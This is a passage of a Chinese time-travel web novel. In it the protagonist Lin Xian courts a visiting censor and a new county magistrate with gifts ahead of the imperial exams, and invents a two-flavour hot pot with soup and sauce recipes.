他必须立刻、马上把心收回来,把主要精力全都砸回到那些快翻烂了的经史子集里头,玩命准备明年的春闱。
“江南这点盘子,还是太小了。”
林闲看着冰冷的江水,嘴角扯出一丝冷笑:“京城,会试,殿试……那才是真正的舞台。太子觉得把元儿调走就能拿捏我?赵王汉王以为给点甜头就能拉拢我?呵,等老子堂堂正正考进去,站在金銮殿上,再看谁才是棋子,谁才是下棋的人!”
这念头一起,仿佛一股全新的力量注入了四肢百骸。
离别的伤感,被一种更强大的目标感取代。
他背好吉他,转身离开长亭。步伐坚定有力,每一步都踩碎了冬日的萧瑟。
那几个书生见状,连忙恭敬地让开道路,目送他离去,眼中满是崇拜。
“回去了。头悬梁,锥刺股?那太落后了。老子有前世的记忆法,有超越时代的理解力,科举老子不仅要过,还要过得漂亮。过得让所有人都记住,林闲这个名字!”
寒风依旧,但长亭中已无迷茫的身影。
只有一股锐不可当的气势,直奔江宁城而去。新的征途,开始了。
第135章 御史南巡闲设宴,香胶开路结善缘
江陵城的冬日,湿冷得能钻进骨头缝里。
林闲正窝在烧着银丝炭的书房里,对着一本《春秋繁露》较劲,满脑子都是明年春闱的考题方向。
管家轻手轻脚进来,压低声音禀报:“三爷,有贵客到访。是都察院的吴明远吴御史,就是之前江南赵宪案那位,如今已是左副都御史了!”
林闲闻言,眉梢一挑,立刻放下了书。
吴明远?这可是个关键人物!比较靠拢太子的文官,关键是刚正却不迂腐,在赵宪案中打过交道,算是有份香火情。他此刻不在京城坐镇,跑来江南巡查?还指名道姓来找我?
“快请!不,我亲自去迎!”
林闲整理了一下衣袍,脸上瞬间切换成热情又不失分寸的笑容,快步走向前厅。
只见吴御史一身半旧的藏青色棉袍,只带了两三个随从,风尘仆仆却精神矍铄。
见到林闲他脸上露出笑意,摆手制止了林闲的行礼:“解元不必多礼,老夫此番是奉旨南巡考察吏治,途径江陵,听闻你在此处颇有雅名,便来叨扰偷个闲。”
宾主落座,香茗奉上。
吴御史捧着暖手的茶杯,环顾了一下陈设雅致、处处透着“元启”格调的书房,笑道:“江南冬日,别有一番清冷韵味。尤其是在林解元这般‘雅集’名士的府上,想必更是风雅与暖意兼备啊。” 这话带着几分调侃,也透着亲近。
林闲心中雪亮,这绝不仅仅是“途径叨扰”那么简单。吴明远这等身份,时间宝贵,专程来访必有深意。
他面上谦逊应对道:“吴大人说笑了,大人为国操劳,巡察四方,才是辛苦。您能驾临寒舍,是晚生的荣幸。” 他心念电转,太子的人此刻南来,是例行公事,还是京城风向有变?
闲聊间,吴御史似是不经意地提起,此次南巡结束后,回京可能会有职务变动,或有可能调入礼部任职,言语间颇为感慨,说礼部虽清贵,但事务繁杂云云。
说者貌似无心,听者心中已是惊雷炸响!
礼部?!明年三月就是会试!由礼部主持!若吴明远这位太子信重的三品大员、素有清望的御史此时调入礼部,以其资历和声望,极有可能被任命为会试的副主考,甚至……主考!
这可是天上掉下来的机会!若能趁此机会,与这位潜在的考官建立起良好的、不落人口实的私人关系,不求他舞弊(那也太低级且危险),只需让他在阅卷时,对自己的文风、观点有个先入为主的良好印象,在合理的范围内稍加留意,那便是巨大的、难以估量的优势!
林闲心中瞬间闪过无数念头,但脸上依旧是春风般和煦的笑容,接口道:“礼部乃储才之地,文明所系,吴大人若去,正可激浊扬清,为国选才,实乃朝廷之福。大人一路辛苦,如今天寒地冻,若不嫌弃不如就在寒舍小住两日。也让晚生略尽地主之谊,陪大人看看这江陵的冬景,虽无繁花却有疏梅暗香,别有一番滋味。”
这话说得极有水平:先是捧了礼部和吴明远,接着表达关心,最后以赏景为由发出邀请,自然得体,毫无巴结之嫌。吴御史见林闲言辞恳切,安排周到,且对此地风物确实有些兴趣,便欣然应允:“既然如此,那老夫就叨扰了。”
当晚,林闲在别院花厅设下精致而不奢靡的家宴为吴御史接风。
席间,他绝口不提经义科举,只是谈笑风生,聊江南风物,聊各地见闻,偶尔引经据典,也是信手拈来,见解独到,展现出广博的学识和从容的气度,让吴御史频频点头。
酒过三巡,气氛融洽。
林闲觉得火候差不多了,对管家使了个眼色。很快,几个丫鬟端上几个精美的锦盒。
林闲亲自接过,送到吴御史面前,笑道:“吴大人南巡辛苦,江陵湿冷,晚生备了些自家捣鼓的小玩意儿,或许能略解旅途劳顿,聊表心意。”
他打开锦盒,里面是整套的“元启”高端洗护用品,包装极其雅致。他拿起一个白玉小瓶,解释道:“此乃‘玉容霜’,冬日寒风凛冽,涂抹手脸可防冻裂;这是‘安神香’,舟车劳顿,点上一支有助于安眠;还有这‘清口胶’,餐后咀嚼片刻,可生津提神,去除油腻口气。”
吴御史久居京城,自然听说过“元启”的大名,知道这些都是价比黄金的稀罕物,尤其是宫中贵人们都追捧的。他拿起那盒“清口胶”,好奇地取出一粒放入口中,轻轻一嚼,顿时一股强劲的薄荷清凉直冲头顶,口中的酒气油腻瞬间消散,精神为之一振!
“妙!妙啊!”吴御史眼中露出惊喜,忍不住赞叹,“此物提神醒脑,立竿见影!林解元,你这‘格物’之能,真是名不虚传!于细微处见真章,造福世人啊!”
林闲谦逊一笑:“大人过奖了,不过是些奇技淫巧,登不得大雅之堂。能让大人旅途稍适,晚生便心满意足了。” 他吩咐给吴御史的随从们也各备了一份,考虑周全,让人如沐春风。
接下来的两日,林闲陪着吴御史游览江陵名胜,既不刻意卖弄学问,也不卑躬屈膝,言行举止恰到好处,充分展示了其解元的才学、东家的周到和年轻人的活力。吴御史对林闲的印象极佳,离别说甚至拍着林闲的肩膀勉励道:“林解元年轻有为,才识过人,更难得的是心怀民生,不拘一格。明年春闱老夫在京城,期待你的好消息!”
林闲嘴角勾起一抹尽在掌握的笑容。
这份“善缘”算是结下了。礼物送得自然体贴,不落痕迹,交流过程愉快轻松,印象深刻。等到春闱之时,这份“印象分”,或许就是决定性的那一点砝码。
“香胶开路,润物无声。这步棋,走得妙。”
林闲自语道,对明年的春闱,更多了几分把握。
第136章 夜宴:论战定乾坤,御史结忘年
晚宴设在别院暖阁。
屋内暖意融融,与外间湿寒判若两个世界。
酒是窖藏的花雕,菜是精致的江南时肴。
酒过三巡,气氛已十分热络。
吴御史几杯暖酒下肚,谈兴愈浓。
他不再局限于官场套话,从江南吏治的细微处,聊到北疆鞑靼的频频异动,又从《春秋》微言大义谈到当下诗坛的浮华之风。
林闲始终扮演着绝佳的倾听者与对话者,静静聆听,最多偶尔插言。
他不发话则已,一开口或是道破关窍,或是以新颖角度解读典故言简意赅,总能切中肯綮引得吴御史频频大笑。
吴御史笑后心中感慨,此子学识之渊博、见解之老辣,全然不似一个年轻举子,倒像是宦海沉浮多年的精明干吏。
他心中赏识之意更浓,便存了考较之心。
在后期逐渐将话题引向了当下士林争论不休的核心议题——“义利之辨”与“民生之本”。
吴御史捋须,目光意味深长问道:“如今朝堂之上,清流言官多崇尚仁义,耻于言利。而户部工部等实务官员,则往往困于钱粮,常被讥为与民争利。不知解元对此高论如何看?”
这个问题颇为敏感。
答不好容易落入窠臼,或触犯忌讳。
侍立在旁的管家顿时把心提到了嗓子眼,生怕自家老爷言语有失,得罪了这位京中大员。
林闲知是关键时候,从容放下象牙筷朗声道:“吴大人此问直指根本,晚生浅见所谓‘君子喻于义,小人喻于利’,古人所言重在境界与动机,并非将义与利截然对立视为水火。”
他目光清澈,语气沉稳进一步诠释道:“于国家天下而言,最大的义便是让黎民百姓丰衣足食。此即是国之大者,亦是天下至公之利!”
吴御史眼中精光一闪,微微颔首示意他继续。
林闲趁热打铁,结合自身实践继续阐述道:“譬如晚生捣鼓的香皂、清口胶乃至香皂,看似微不足道,是商贾之利。然香皂使人洁净,减少疫病。清口胶利口腔,提精神。百姓身体强健精神愉悦,方能更好耕作生产,国家税基方能稳固。此等能切实改善民生、增强国力之利,为何不能大力倡导?朝廷若善加鼓励引导,使天下‘利’皆合乎义之规范,则何愁国不强、民不富?”
他话锋一转,语气略带批判:“反之若终日空谈仁义道德,而百姓饥寒交迫路有冻死骨,则所谓‘义’,不过是士大夫粉饰太平、自欺欺人的空中楼阁,于国于民有害无益!”
见吴御使屡屡点头,林闲这才将论点提升到更高层面:“再说边患,吴大人忧心北疆。边关将士浴血戍边,若朝廷能提供更好的御寒棉衣、便捷的干粮、洁净的饮水,乃至晚生所制的御寒霜提神胶,此看似利士卒,实则是提升军队战力、保全将士性命之大义。通过此手段让将士们感受到实实在在的关怀,比空喊忠君爱国更能凝聚军心!”
这一番论述,引经据典却不迂腐,立足现实而眼界开阔,将“义利之辨”从空洞的道德争论拉回了经世致用的坚实大地,逻辑严密掷地有声!
“啪!”
吴御史忍不住以掌击案,震得杯盘轻响。
他脸上满是激动与赞赏:“妙!妙哉!好一个利国利民即为大义!好一个空谈误国,实干兴邦!汝此言真乃拨云见日,深得治国三昧!”
他抿了一口酒,继续感慨道,“老夫在都察院见多了夸夸其谈、不通世务的迂腐之辈,亦见不少唯利是图、罔顾大义的蠹虫。如解元这般将圣贤道理与民生实务、军国大事融会贯通至此境界的,实乃凤毛麟角!”
旁边侍候的老仆等人,听得目瞪口呆。
他们虽不懂太多大道理,但见自家三爷一番话,竟让京城来的大官如此激动赞赏,顿时与有荣焉腰杆都不自觉地挺直了几分。
几人对视一眼,心中狂呼:“三爷威武!”
吴御史此刻,确实是心潮澎湃。
他虽属太子一系,也隐约感知太子对林闲与赵王交往有所不满。
但他为人更重实绩与本心,林闲这番立足民生、着眼国力、充满实干精神的言论打动了他,让他抛开派系之见,生出惺惺相惜之感。
吴御使激动举起酒杯,面向林闲语气诚挚无比:“林解元!今日一席话,真是胜读十年书,令老夫茅塞顿开。老夫痴长几岁,若蒙不弃愿与解元结为忘年之交。日后你若来京定要常来老夫寒舍,你我煮酒论道,纵谈天下!”
林闲心中大喜,知道这把火彻底烧到位了!
他连忙起身,双手举杯姿态恭敬而不卑微笑道:“吴大人言重了!折煞晚生!大人乃朝廷柱石,风骨晚生素来敬仰。能得大人如此看重,愿以友相待,林闲荣幸之至,必不负大人厚爱!”
两人举杯,一饮而尽。
一切,尽在不言中。
这一夜,暖阁内灯火长明。
两人越聊越投机,从漕运聊到海运,从农耕聊到工匠,直至深夜。
吴御史对林闲的欣赏,已毫不掩饰。
虽碍于身份和太子的关系,他不可能明说什么承诺。
但他心中,已对这位解元郎充满了极高的期待,将其视为未来必须结交的重要人物。
送走吴御史后,管家激动凑上来:“三爷,您可真厉害!把那吴大人说得心服口服!还要跟您称兄道弟呢!”
林闲微微一笑,心情舒畅。
这次偶遇,收获远超预期。
不仅为会试铺了一条隐形的康庄大道,更重要的是他以才学品性折服了吴明远这位朝中重臣,结下了这份“忘年之交”。
这份情谊其价值远超一次考试,是他在波谲云诡的京城棋局中,落下的一颗极具分量的活棋。
“以理服人,以利动人,方是正道。”
林闲负手望月,对未来的京城之行,更多了几分从容……
第137章 茶叙:赠宝布暗棋,笑谈定西北
时值深冬,江南水乡江陵城笼罩在一片湿冷彻骨的寒意中。
北风卷着细密的雨丝,直往人的骨头缝里钻。
街上行人稀少,一派萧索。
城西湖畔,一座名为“闲云居”的雅致别院书房内,却是另一番温暖如春的天地。
上好的银霜炭在紫铜熏炉中静静燃烧,散发出持久而温和的热力,跳跃的火光将室内映照得明亮温馨。
炉上架着一把造型古朴的紫砂提梁壶,壶嘴里喷出袅袅白汽,与旁边花梨木案几上升起的极品檀香交织在一起。
屋内的林闲一身月白常服,正与几位新科举人围坐在铺着软垫的榻上,围炉品茗闲谈阔论。
在座的有与林闲同科中举、对他佩服得五体投地的年轻士子,也有几位是往科举人,或因等候吏部铨选(分配官职)滞留江南,或因家事暂未离乡。
能受邀参加这位名动江南的“林解元”的私邸茶叙,本身便是一种身份的象征和难得的荣耀,众人皆以林闲马首是瞻,言谈间充满敬意。
其中,最引人注目的是一位年近四旬、面容敦厚、目光沉稳的中年举人,名为陈启年。
他穿着一身半旧的绸缎袍子,洗得发白却浆洗得干净整洁,袖口有些磨损却更显其持重。
他此次吏部铨选,使了些银钱走了些门路,终于得了个实缺——西北凉州府下辖的平沙县知县。
虽是个众所周知的“边瘴苦寒、民贫地瘠”之地,但毕竟是堂堂正七品亲民官,不日即将赴任。
“陈年兄此番得授实缺,还是西北要冲之地,真乃可喜可贺!他日牧民一方,前程不可限量啊!”
一位姓王的年轻举人拱手道贺,语气中带着难以掩饰的羡慕。
毕竟多少举人一辈子都在“候补”的泥潭中蹉跎,一个实缺知县足以让人眼红。
旁边另一位李姓举人也连忙附和,语气却带着一丝酸涩:“是啊,陈年兄!此县虽偏,却是实打实的百里侯,掌一县之政,生杀予夺!总强过我等在此蹉跎岁月,等候那吏部不知何年何月才能下来的‘候选’公文,空耗光阴。”
陈启年闻言却是苦笑一声,捋了捋颌下几根稀疏的短须长叹道:“诸位年兄有所不知,莫看是个知县,顶戴花翎,那平沙县……唉!”
他摇摇头,压低了些声音:“地处西北边陲最前沿,民风彪悍难治,盗匪时有出没。且近年来天时不利,连年歉收,百姓困苦不堪,县库更是早就跑得老鼠都饿死了。此去说是知县,只怕是个收拾烂摊子、四处救火、还吃力不讨好的苦差事啊!说是百里侯,实是……烫手的山芋,搞不好就是身败名裂之地啊!”
话虽如此,他眼底深处还是闪烁着一丝渴望摆脱候补命运的光芒。
林闲静静地听着,手中动作如行云流水,带着一种赏心悦目的韵律感。
烫杯、纳茶、洗茶、高冲低斟,每一个步骤都从容不迫,优雅至极。
当他听到“凉州府平沙县”这几个字时,执壶的手几不可察地微微一顿。
壶嘴悬停在茶杯上方片刻,才继续将茶汤注入杯中。
水面旋起细沫,茶香愈发浓郁……
凉州府……这不正是苏元奉命前去筹建“雅集别院”的府治吗?平沙县虽非府治,但同属凉州,与府城相距不算太远,快马一日可至。
林闲心中瞬间雪亮,这或许是一个天赐的良机!
苏元虽有“东宫特使”的官方身份护体,但毕竟是女流,且初来乍到人生地不熟,在那种龙蛇混杂的边陲之地,行事多有不便,极易受到地头蛇的掣肘甚至暗算。
若能在其邻近的州县,有一位实权的知县能够暗中照应、互通声气、提供助力,那她在西北的根基将稳固得多,安全也更有保障。
这位陈启年,观其言行是个懂得变通之人,并非迂腐不通世故的书生。
若能巧妙结交施以恩惠,将来或可成为苏元在西北的一个重要助力和耳目!
想到此处,林闲将一杯刚刚沏好的热茶,稳稳递到陈启年面前,脸上露出真诚笑容道:“陈年兄过谦了。孟子云:‘天将降大任于斯人也,必先苦其心志,劳其筋骨。’ 越是艰苦卓绝之地,越能显出任事之才,越易做出耀眼的政绩。平沙虽偏却是朝廷西北之屏藩,直面异动,位置至关重要。年兄此去正可大展拳脚,为朝廷分忧,为陛下守土,为黎民造福。若能安抚地方发展生产,此等实打实的政绩,岂是那些在繁华富庶之地墨守成规、碌碌无为者可比?他日回京叙职,凭此边功必是上上考绩简在帝心,前途岂止不可限量?怕是直上青云亦未可知啊!”
他这番话引经据典,既有勉励又点明利害,更描绘了潜在的巨大政治收益,说得在座几位举人纷纷动容,连连点头。
连陈启年本人都觉得胸中块垒消解大半,仿佛拨云见日。
他眼中光芒大盛,双手接过茶盏郑重道:“承林解元吉言!听君一席话,胜读十年书!如拨云雾而睹青天!启年定当竭尽全力,守土安民,不负朝廷重任,亦不负解元今日点拨之情谊!”
林闲微微一笑,知道火候已到,便趁热打铁道:“陈年兄此去西北,山高路远,气候苦寒,与江南水软山温大不相同。小弟这里有些自家商号捣鼓的、上不得台面的实用小玩意儿,赠与年兄或许能助一臂之力,聊表心意,也算为年兄壮行。”
说着,他对侍立一旁的林承宗微微颔首。
林承宗会意,立刻转身从内室捧出一个紫檀木描金的精美礼盒,轻轻放在案几上。
林闲亲手打开盒盖,里面整整齐齐码放着几样物品,看似寻常,却件件透着不凡:
一罐白瓷小坛,上贴红纸,写着“元启·御寒灵脂”:“西北风沙凛冽,酷寒刺骨,此物取珍稀药材与精油炼制,涂抹手足面颊,可有效防冻防裂,保肌肤润泽。”
几盒小巧的锡罐,标注“元启·清心玉露丸”:“边地饮食多腥膻,此丸含薄荷冰片等物,可清新口气,提神醒脑,会见士绅百姓时,亦显从容气度。”
一小坛造型古朴、密封极好的陶罐,泥封上烙着“元启”火印:“此乃高度提纯的‘玉浮梁’原浆,性极烈,关键时刻小酌可驱彻骨寒邪,外用亦可消毒疗伤,切记少量即可,莫要贪杯。”
最后,是一个用明黄色锦缎缝制、绣着暗纹云雀的小巧锦囊,看起来尤为特别。
林闲拿起这个锦囊,意味深长递到陈启年手中,压低了声音,却让周围几人都能隐约听到:“年兄到了任上,若遇棘手难决之事,或需与凉州府城……嗯,尤其是与太子殿下关切的那处‘雅集别院’有所往来协调时,可持此物去寻别院主事苏大家。她见物便知是故人相托,或可在不违背原则的前提下,提供些许便利或指点迷津。”
这最后一物,才是真正的点睛之笔,神来之笔!
在座的都是心思玲珑之辈,顿时恍然大悟,心中巨震!
林解元这哪里是简单赠送土仪?
这分明是在为那位远赴西北、传闻中与东宫关系密切的“红颜知己”苏大家铺路搭桥,建立隐秘而坚实的联络渠道!
而且手段如此高明、自然,借着赠送赴任礼物的由头就把这事给办了,还让受礼者感恩戴德!
陈启年何等精明,立刻领会其中深意,心中又惊又喜,如同揣了个烫手的宝贝。
惊的是林闲能量如此恐怖,竟能与太子派系的特使搭上线,且关系匪浅到可以凭信物相托。
喜的是自己赴任那苦寒险地,竟能凭空得到如此强大的奥援和潜在的政绩突破口(若能配合好东宫特使,可是天大的功劳)!
他激动得双手微微颤抖,接过那轻飘飘的锦囊,却感觉重若千钧,沉声道:“解元公……厚爱!启年……铭感五内!此物重于泰山,启年定当谨慎持之,不负解元公今日重托!”
旁边王举人看得眼热不已,忍不住击掌叹道:“我的天!林解元真是义薄云天,虑事周详如发!连这等关节都为陈年兄想到了!有此臂助,陈年兄此去平沙,必是如虎添翼,定能大治!”
李举人也感慨万千,语气充满敬佩:“是啊!解元公不仅才学冠绝江南,这待人接物、未雨绸缪、布局千里之外的本事,更是让我等望尘莫及!真乃国士之风!”
林闲淡然一笑,仿佛只是做了一件微不足道的小事,举杯道:“诸位年兄谬赞了。不过是尽一份朋友之谊,略尽绵薄之力罢了。他日诸位若外放为官,有用得着林某之处,也定当尽力。我等以茶代酒,预祝陈年兄一路顺风,此去鹏程万里,政通人和!”
“预祝陈年兄一路顺风,鹏程万里,政通人和!” 众人齐声举杯相贺,气氛热烈而融洽。
炉火噼啪,茶香氤氲。
这次看似寻常的冬日茶叙,却为林闲在西北棋局中布下一颗可能在未来发挥关键作用的暗棋。
而陈启年则带着满满的感激、一份沉甸甸的“锦囊”和对前途前所未有的信心,即将踏上征程。所有人都深感能结交林闲这般人物,实乃三生有幸。
而林闲则在谈笑风生中,将自己的影响力悄无声息延伸向那片遥远的土地……
第138章 寒夜生暖:巧制鸳鸯锅
送走陈启年等一众举人,夜已深沉。
北风如发了狂的野兽在窗外呼啸,刮得窗“哐哐”作响。
林闲独自坐在温暖如春的书房里,手里捧着一本《礼记》,目光却游离在字句之外,半个字也看不进去。
肚子里那点清茶早就消化殆尽,此刻只觉得饥肠辘辘,一股难以抑制的寒意和空虚感从胃里蔓延到四肢百骸。
他望着窗外黑漆漆、仿佛能吞噬一切的夜。
他脑子里不受控制冒出了前世的画面:翻滚的红油九宫格火锅,薄如蝉翼纹理漂亮的肥牛卷在滚烫的辣汤里七上八下即熟,捞出后在那浓香四溢的麻酱碟里狠狠一蘸送入口中,麻辣鲜香瞬间爆炸,再配上一口冰镇到冒泡的啤酒……
那极致的味觉享受,想想都让人口水疯狂分泌,胃里的馋虫简直要揭竿而起!
“靠!这鬼天气,冻死个人!要是能整上一顿热乎乎、火辣辣边涮边吃的火锅,那才叫活神仙过的日子!”
林闲狠狠咽了口口水,觉得此刻给他一头牛都能啃下去。
这个时代倒是有类似的东西,叫“古董羹”或者“暖锅”,但那都是达官贵人宴席上用来炖煮一些山珍海味的摆设。
其汤底清淡得能照出人影,食材单一吃法拘谨刻板,毫无灵魂可言,完全无法满足他此刻对热烈奔放美味的渴望!
一个念头如同黑夜中的闪电,猛然劈中了他:“对啊!老子穿越过来,可不是来受这鸟气的!反正备考也得劳逸结合,干嘛不把正宗的火锅给‘发明’出来?既解了馋,锻炼了动手能力,说不定还能打造成‘元启’旗下又一个爆款美食IP!这玩意儿操作性强社交属性高,绝对有市场!”
说干就干,林闲把手中的《礼记》往案上一扔,直接让管家喊着几名工匠钻进他隔壁的“格物工坊”。
火锅的灵魂,首当其冲是锅具。
现有的铜锅陶锅都太简陋,要么是单调的直筒锅,要么是华而不实的鼎镬。
林闲要的是功能齐全、充满巧思的现代火锅。
能中间涮肉聚火,边上喝汤保温,还能随意调节火力的鸳鸯锅才是王道。
他立刻让工匠寻来厚实沉重的黄铜盆,又铺开宣纸,手持炭唰唰几笔,最后一幅结构精巧、细节满满的设计图跃然纸上:锅体中间竖起一根带活动风门盖的铜管烟囱,锅体内被一道优美的“S”形铜质隔板一分为二,锅底还有可调节的支架。
他把家里手艺最好的张师傅喊道旁边,开始指示做法。
张师傅拿着那张前所未见的图纸,眼睛瞪得像铜铃。
他翻来覆去看了半天,一脸茫然加震惊:“老爷,这……这锅中间为啥要插根铜管子?还带个能转的活盖?这……这是何道理?还有这弯弯曲曲的铜片隔在中间,岂不是占了涮菜的地方?”
林闲嘿嘿一笑,脸上带着一种“尔等凡人岂能知我神通”的高深莫测,耐心解释道:“此物大有名堂!中间这铜管名曰‘烟囱’,炭火置于其下热量顺管而上,使锅体四周环水均匀受热,涮肉时成熟一致不易老柴。这活盖可调节风口大小从而精准控制火候,文火慢炖武火急涮,实现随心所欲。”
“这边上的‘S’形铜片,名曰‘太极隔板’,妙用无穷!可使一锅之内,容纳两种截然不同的汤底,一清一红,一辣一鲜,谓之‘鸳鸯锅’,满足不同口味,同桌共食,其乐融融,岂不美哉?”
林闲解释完,不忘给这新发明起了个既文雅又吉利的名字——“团圆沸鼎”!
老铜匠张师傅听得云里雾里,但仔细一想尤其是“一锅两吃”、“控制火候”的说法,让他觉得自家老爷这想法刁钻绝伦!
他连忙躬身,语气带着敬佩与激动:“老爷大才!奇思妙想,巧夺天工!小的……小的立刻赶工!定不负老爷所托,打造出这天下独一份的‘团圆沸鼎’!”
锅具在紧锣密鼓地打造,林闲开始攻克最核心的科技——汤底。
他亲自坐镇大厨房,挽起袖子如最高指挥官,指挥着一群帮厨忙得脚不沾地,烟火气直冲屋顶。
“清汤这边是根基,用上好的牛棒骨、三年以上的老母鸡,加足冷水小火慢炖。中途撇尽浮沫,把骨髓和鸡肉的精华都给我熬到汤里。”
“汤色要醇厚见底,味道要鲜甜不腻!最后放入红枣、枸杞、姜片、葱段,只取其清甜,不可夺味!”
“红汤这边,是灵魂!是关键中的关键!”
林闲边指挥边思考下一步,他让人找来味道醇厚的牛油(此时民间多用羊油或猪油),又神秘兮兮从他之前当作观赏植物种植的几盆宝贝——干辣椒和花椒树上,小心摘下一批品相最好的丢进去。
这操作看得厨娘们目瞪口呆,不明白三爷拿这些“番邦奇草”和麻嘴的“野果子”做什么用。
接着他翻出自己之前用蚕豆、辣椒、香料等秘密发酵制作的、独此一家的“秘制豆瓣酱”。
约半刻钟后,锅模型做好。
林闲指挥帮厨起锅烧热,下入大块牛油慢慢熬化,顿时一股浓郁的油脂香气弥漫开来。
待油温升高,林闲抓了一大把花椒投入油中…
“刺啦”
麻香瞬间炸开!
紧接着,林闲继续把干辣椒段下锅与花椒共舞,一股呛辣又勾人食欲的辛香直冲屋顶,呛得周围的厨娘们连连咳嗽,纷纷掩鼻后退!
林闲却深吸一口气,一脸陶醉和兴奋喊道:“没错!就是这个味儿!霸道!够劲!”
他熟练用勺子翻炒,待辣椒微微变色,立刻下入几大勺暗红色的“元启豆瓣酱”,小火慢炒出红油。
顿时,整个厨房被一种浓烈到极致的香辣气息笼罩!
随后林闲撸起袖子,加入自己配比的秘制香料粉(包含豆蔻、丁香、草果等十几种)继续翻炒,香气层次愈发丰富。
最后,他倒入让人熬得奶白的牛骨高汤。
顿时,一锅色泽红亮如琥珀、麻辣鲜香的红汤锅底正式诞生!
那霸道浓烈的香气,几乎要掀翻厨房的屋顶!
所有人全都看傻了,她们从未见过光凭气味就能让人口水直流、热血沸腾的“汤羹”!
“对了!还有蘸料!”
林闲一拍脑门,再次操作起来……
“这份,二八酱(芝麻酱花生酱二比八),用上好的小磨香油慢慢澥开,搅到顺滑如丝,再加入捣碎的腐乳汁、韭菜花酱、一点点白糖提鲜,这是北方麻酱碟,香醇浓厚,包裹性极强!”
“这份只用蒜泥、小磨香油、少许香菜末,这是香油蒜泥碟,清爽解腻,最能凸显肉的本味!”
“这份用我特制的辣椒面、花椒粉、炒香的花生碎、白芝麻,吃的时候舀一勺干料,这是麻辣干碟,够劲爆,适合重口味!”
他还别出心裁,用“元启”工坊顶级的小磨香油和花生油混合,加入干辣椒段、花椒、芝麻、少许盐,用烧到滚烫的热油“刺啦”一泼,制成了香气扑鼻、红亮诱人的“秘制泼油辣子”,可以随时添加到任何蘸料中,画龙点睛。
“三爷…还…还有呢?”
管家只知道问,他被眼前的一幕完全惊呆了。
“还有…对了!肉啊!”
林闲再次想到关键,立刻让管家去拿肉。
他亲自操刀示范,要求厨子将肉冻至半硬但未完全僵硬的状态,然后运刀如飞,下刀角度力度精准无比,
切出的肉片薄如纸张,平铺在青花瓷盘中宛如一件件精美的艺术品。
负责切肉的厨子看得目瞪口呆,差点以为自家老爷是隐居市井的绝世刀客,这手刀工没有十年八年练不出来!
万事俱备,只欠东风。
林闲心情大好,正式摆开了干饭的阵势。
他作为总设计师和总导演,亲自示范。
林闲先夹起一片在灯光下微微透光的薄羊肉片,在红汤中遵循“七上八下”的秘诀,鲜红的肉片瞬间变色卷曲,散发出诱人的光泽。
然后他将涮好的肉放入浓稠的麻酱中轻轻一蘸,送入口中——
麻辣的刺激、牛油的醇厚、芝麻酱的浓香、羊肉的鲜嫩多汁,瞬间在口中完美融合……
“嗯——!”
林闲满足地眯起了眼睛,仿佛所有的疲惫和寒冷都被这一口驱散:“巴适!霸道!就是这个味儿!魂穿千年,终于又吃上了!”
众人早已被这香气勾得魂不守舍,学着他的样子小心尝试。
起初有人被麻辣呛得连连咳嗽,但随即那强烈而丰富的味觉瘾如潮水般停不下来!
管家烫得呲牙咧嘴,却舍不得停下筷子,含糊不清地激动道:“老爷!神了!真神了!这……这吃法,暖和,痛快,得劲!老奴我活了五十多年,没吃过这么……这么让人浑身通透、欲罢不能的东西!这红汤,绝了!”
厨娘们更是惊为天人,一边嘶哈着气一边抢着下筷子:“这红汤闻着呛人,吃着咋这么香呢?越吃越想吃,浑身都暖和了,额头都冒汗了!这蘸料麻酱,咋能这么香呢?奴婢觉得以前做的菜都白做了!”
“这‘团圆沸鼎’必定能风靡全城!不,风靡大江南北!老爷,您这又是点石成金啊!”
“何止是点石成金,这是开辟了吃食的新天地啊!”
众人一边大汗淋漓地吃着,一边赞不绝口。
林闲看着眼前热气腾腾、欢声笑语的景象,听着大家发自内心的赞叹,胸中豪情顿生。
一个更宏大的商业蓝图,在脑中勾勒出来:“看来这‘元启’商业帝国旗下,又要添一员横扫千军的美食猛将了!明年春闱之后,或许可以在京城最繁华的地段,开一家格调高雅、味道绝伦的‘元启火锅楼’?做成高端餐饮品牌?”
林闲仿佛已经看到,铜锅涮肉升腾起的滚滚热气即将席卷这个时代的冬天,征服无数食客的味蕾和身心。
这“格物致馋”,一不小心又格出了一条金光大道!
第139章 知府夜访:沸鼎惊筵席
就在林闲等人正对着麻辣火锅摩拳擦掌,准备继续大快朵颐。
管家出去后又连忙跑进,面色古怪禀报:“老爷,知府周大人夜间巡查民情,听闻老爷在此特来拜访。”
林闲先是一愣,随即嘴角勾起一抹玩味的笑容。
巡查民情?
这大冷天、深更半夜的?
怕是闻着味儿来的吧!
他这别院的厨房今晚可是火力全开,那麻辣鲜香的霸道气味,估计半条街外都能闻到。
“来得正好!正缺个有分量的‘试吃员’品鉴品鉴!”
林闲哈哈一笑,立刻起身往外走:“快请!不,我亲自去迎!”
来到前厅。
只见周知府外罩狐裘大氅,脸上带着几分被寒风吹出的红晕,眼神却不时瞟向后面。
他鼻翼翕动,显然是被那火锅香给引来的。
见到林闲,周知府打了个哈哈笑道:“深夜叨扰,先生莫怪!本官巡查至此,忽闻贵府异香令人食指大动,忍不住过来一探究竟啊!”
林闲心中暗笑,面上却热情洋溢道:“周大人大驾光临,蓬荜生辉!何来叨扰之说?大人来得正巧,林某正在试制一种新的吃食“麻辣火锅”,正好请大人品鉴指点!”
说着,林闲便将周知府引向暖阁。
一进屋,周知府就被眼前景象镇住了!
只见屋子中间摆着一个黄澄澄的铜锅,中间一根铜管(烟囱)冒着丝丝热气,锅体被一个“S”形铜片隔开,一边是奶白浓郁、翻滚着红枣枸杞的清汤,另一边则是红油滚滚、椒香扑鼻、令人望之生津(也可能生畏)的红汤。
他侧眼望去,只见锅外围桌案摆满了红白相间的牛羊肉片,以及各式鲜蔬、豆腐、粉条等。
那混合了麻辣味的复合香气,更是如同实质般冲击着他的鼻子!
“这……这是……”
周知府指着鸳鸯锅,眼睛瞪得溜圆:“林解元,此物……甚是奇特!这味道辛香炽烈霸道绝伦,本官……闻所未闻啊!”
他虽是知府也算见多识广,但这气味完全超出了他的认知。
旁边的师爷和随从更是看得目瞪口呆,口水暗吞。
林闲笑着介绍:“此乃林某新制的‘团圆沸鼎’,这两种汤底一清一红,谓之鸳鸯锅。吃法也简单,将这生肉生菜,在这翻滚的汤中稍加涮烫,蘸上特制酱料即可。在这寒冬里围炉共涮,最是驱寒暖身。大人若不嫌弃,一同尝尝鲜?”
周知府本是饕餮之徒,见状早已心痒难耐,他大喜道:“妙极!本官今夜有口福了!定要尝尝先生这火锅是何等神仙滋味!”
两人推辞一番,随后笑呵呵围炉坐下。
